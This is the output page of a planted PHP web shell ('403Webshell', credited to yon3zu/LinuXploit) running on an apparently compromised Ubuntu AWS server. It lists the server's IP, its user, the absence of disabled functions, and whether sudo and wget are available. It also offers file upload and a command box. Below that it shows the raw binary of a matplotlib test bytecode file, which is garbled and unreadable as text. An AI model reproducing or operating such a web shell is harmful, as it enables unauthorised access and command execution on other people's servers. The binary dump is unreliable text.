403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.143
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_bbox_tight.cpython-312.pyc
�

G8�c���X�ddlmZddlZddlmZddlmZddl	m
Zddlm
ZddlmZedgdddi�	�d
��Zedgddi��d
��Zedgddid��d��Zedgdddi�	�d��Zedgdddi�	�d��Zd�Zd�Zd�Zedgdgdddi��d��Zy)�)�BytesION)�image_comparison)�
FuncFormatter�bbox_inches_tightT�bbox_inches�tight)�remove_text�
savefig_kwargc	��gd�gd�gd�gd�gd�g}dgdzx}}t|�}tjt|��dz}g}d	}tjt|��}t	j
d
d
�\}}	t
|�D]6}
|	j|||
||dd�
�|||
z}|jdg��8t	jg�t	jdd�t	jdgdzd��|jdgdzdd��|j�t	j|||d��y)N)iRiبi{%it�i})iv�i��i�0i�i�r)i/\i�:i�Si=�i�5	)iO2i�?i�Li��i)ia i�i|<iD�i-���g333333�?g�������?��edge�b)�bottom�align�colorr)g333333�?皙�����?)�loc)rrz
lower left��bbox_to_anchorrr)�cellText�	rowLabels�	colLabelsr)�len�np�arange�zeros�plt�subplots�range�bar�append�xticks�xlim�legend�reverse�table)�data�
col_labels�
row_labels�rows�ind�	cell_text�width�yoff�fig�ax�rows           �B/usr/lib/python3/dist-packages/matplotlib/tests/test_bbox_tight.py�test_bbox_inches_tightr5s0��
2�1�2�1�3�	5�D� "�d�Q�h�&�J���t�9�D�
�)�)�C�
�O�
$�s�
*�C��I��E�
�8�8�C�
�O�$�D��l�l�1�a� �G�C���T�{���
���s�D��I�u�T��s��K��d�3�i������"�����J�J�r�N��H�H�Q��N��J�J��t�a�x�Z�(��J�J��t�a�x��l�J�C�
�����I�I�y�J�*���� bbox_inches_tight_suptile_legend)r
c�v�tjtjd�d��tjdd��tj
d�tjd�d	�}tj�jjt|��tjd
�y)N�
za straight line)�label)g�������?rz
upper leftrz
Axis titlezFigure titlec�6�t|�dk(ryt|�S)N�zThe number 4)�int�str)�y�poss  r4�y_formatterz:test_bbox_inches_tight_suptile_legend.<locals>.y_formatter6s���q�6�Q�;�!��q�6�Mr6zX axis)r�plotrrr&�title�suptitle�gca�yaxis�set_major_formatterr�xlabel)rAs r4�%test_bbox_inches_tight_suptile_legendrI-sq���H�H�R�Y�Y�r�]�"3�4��J�J�h�L�9��I�I�l���L�L�� ��
�G�G�I�O�O�'�'�
�k�(B�C��J�J�x�r6z)bbox_inches_tight_suptile_non_default.png皙�����?)r
�tolc�Z�tj�\}}|jddd��y)N�Booo��?g�������?)�xr?)rr rD�r1r2s  r4�+test_bbox_inches_tight_suptitle_non_defaultrQ@s%���l�l�n�G�C���L�L��3�#�L�&r6�bbox_inches_tight_clippingc�V�tjtjd�tjd��tj�}|jddg�|j
ddg�tjddgdd|jdd��}tjjd�j�}|xjd	zc_|j||j �
�tj"�j$j'|�y)Nr9rr
i����d�bluerN)�	transform�	facecolor�alphag�?)rV)r�scatterrrrE�set_xlim�set_ylim�mpatches�	Rectangle�	transData�mpath�Path�unit_regular_star�deepcopy�vertices�
set_clip_path�	transAxes�gcf�artistsr#)r2�patch�paths   r4�test_bbox_inches_tight_clippingrjHs���
�K�K��	�	�"�
�r�y�y��}�-�	����B��K�K��A����K�K��A���
����S�z�3��)+���)/�s�
<�E��:�:�'�'��*�3�3�5�D��M�M�T��M�	��������5��G�G�I�����U�#r6�bbox_inches_tight_rasterc�\�tj�\}}|jddgd��y)z$Test rasterization with tight_layout��?g@T��
rasterizedN)rr rBrPs  r4�test_bbox_inches_tight_rasterrp]s'���l�l�n�G�C���G�G�S�#�J�4�G�(r6c���tj�\}}|jddtd�f��|j	�|jt
�dd��y)Nrr�nan)�xyr�png)r�format)rr �annotate�float�set_axis_off�savefigrrPs  r4�test_only_on_non_finite_bboxrzesH���l�l�n�G�C���K�K���5��<�(�K�)��O�O���K�K��	�w�u�K�=r6c�l�tj�\}}|jtjd�jd��|j
d��t�}|j|d��|jd�tj|�j\}}}||kDsJ�y)Nr<)�r|)rrJ)�ylimr)rr)rr �
pcolorfastrr�reshape�setrry�seek�imread�shape)r1r2�buf�heightr/�_s      r4�test_tight_pcolorfastr�ms����l�l�n�G�C���M�M�"�)�)�A�,�&�&�v�.�/��F�F��F��
�)�C��K�K���K�)��H�H�Q�K��z�z�#��,�,��F�E�1��6�>��>r6c�4�ddlm}d\}}d}tjd|||z||zf��}tj|gd��}|j|�|j
�|jjd�|jjd�tj||z�j||�}|j|d�	�|jt�d
dd��t�}|j|d
d�
�|j!d�tj"|j%|��}|dd�dd�dfdk(j'�sJ�|dd�dd�dd�fdk(j'�rJ�|j(dk(sJ�y)Nr)�Image)r9�rTF)�frameon�dpi�figsize)�r�rmrmTrnr�pdf)r�
pad_inchesru)rr���)r�r9r<)�PILr�r�figure�Axes�add_axesrx�xaxis�set_visiblerFrrr�imshowryrr��asarray�open�allr�)	r��x_size�y_sizer�r1r2r)�out�ims	         r4�test_noop_tight_bboxr�zsV����N�F�F�

�C�

�*�*�U��f�S�j�&��*�5M�
N�C�	���#�'�	(�B��L�L����O�O���H�H������H�H�����
�9�9�V�f�_�%�-�-�f�f�=�D��I�I�d�t�I�$�
�K�K��	�w�1�U�K�K�
�)�C��K�K���Q�K�7��H�H�Q�K�	���E�J�J�s�O�	$�B��q�!�Q�w�K�3��#�#�%�%�%��1�a��!��8���#�(�(�*�*�*�
�8�8�z�!�!�!r6�bbox_inches_fixed_aspectrt)�
extensionsr	r
c��tjddi�5tj�\}}|jddg�|j	dd�|jd�ddd�y#1swYyxYw)Nzfigure.constrained_layout.useTrr�equal)r�
rc_contextr rBrZ�
set_aspectrPs  r4�test_bbox_inches_fixed_aspectr��sc��

���8�$�?�	@���,�,�.���R�
����A���
���A�q��
�
�
�g��	���s�AA/�/A8)�ior�numpyr�matplotlib.testing.decoratorsr�matplotlib.pyplot�pyplotr�matplotlib.pathrir_�matplotlib.patches�patchesr\�matplotlib.tickerrr5rIrQrjrprzr�r�r��r6r4�<module>r�s(����:���%�+��&�'�T�!.�� 8�:��:��>�5�6�!.�� 8�:��:��"�>�?�!.�� 8���'��'�
�/�0�"�=�'�2J�L�$�L�$�&�-�.�"�=�'�2J�L�)�L�)�>�
�"�:�-�.�E�7�"�=�'�2J�L��L�r6

Youez - 2016 - github.com/yon3zu
LinuXploit